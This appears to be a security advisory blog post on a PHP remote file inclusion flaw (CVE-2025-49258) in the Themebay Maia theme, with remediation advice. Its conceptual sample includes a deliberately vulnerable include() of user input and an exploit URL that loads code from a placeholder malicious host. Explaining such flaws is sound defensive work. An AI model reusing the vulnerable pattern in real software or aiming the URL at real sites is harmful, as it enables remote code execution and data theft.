Overview
The CVE-2025-49258 vulnerability pertains to an improper control of the filename for Include/Require Statement in PHP Program, more commonly known as ‘PHP Remote File Inclusion’ vulnerability. This vulnerability impacts Themebay Maia, a popular software product, potentially leading to system compromise or data leakage, hence its CVSS severity score of 8.1. This blog post aims to provide a comprehensive understanding of this vulnerability, highlighting why it matters, who it affects, and the steps to mitigate it.
Vulnerability Summary
CVE ID: CVE-2025-49258
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
Themebay Maia | n/a through 1.1.15
How the Exploit Works
The vulnerability lies in the improper control of the filename in the Include/Require statement of a PHP program. An attacker could potentially manipulate this flaw to include a file from a remote server that contains malicious PHP code. Upon execution of the code, the attacker could gain unauthorized access to the system, leading to a system compromise or data leakage.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited:
<?php
// The vulnerable code
$incfile = $_GET['file'];
include($incfile . ".php");
// The exploit
// Access the URL http://<target_site>/<vulnerable_page>?file=http://<malicious_site>/malicious_file
?>In the above example, the attacker modifies the ‘file’ GET parameter in the URL to include a PHP file from a remote, malicious server.
Remediation
As a mitigation measure, it is recommended to apply the vendor patch as soon as it becomes available. If immediate patching is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It is also crucial to enforce proper input validation techniques, such as whitelisting of acceptable inputs, to prevent such vulnerabilities in the future.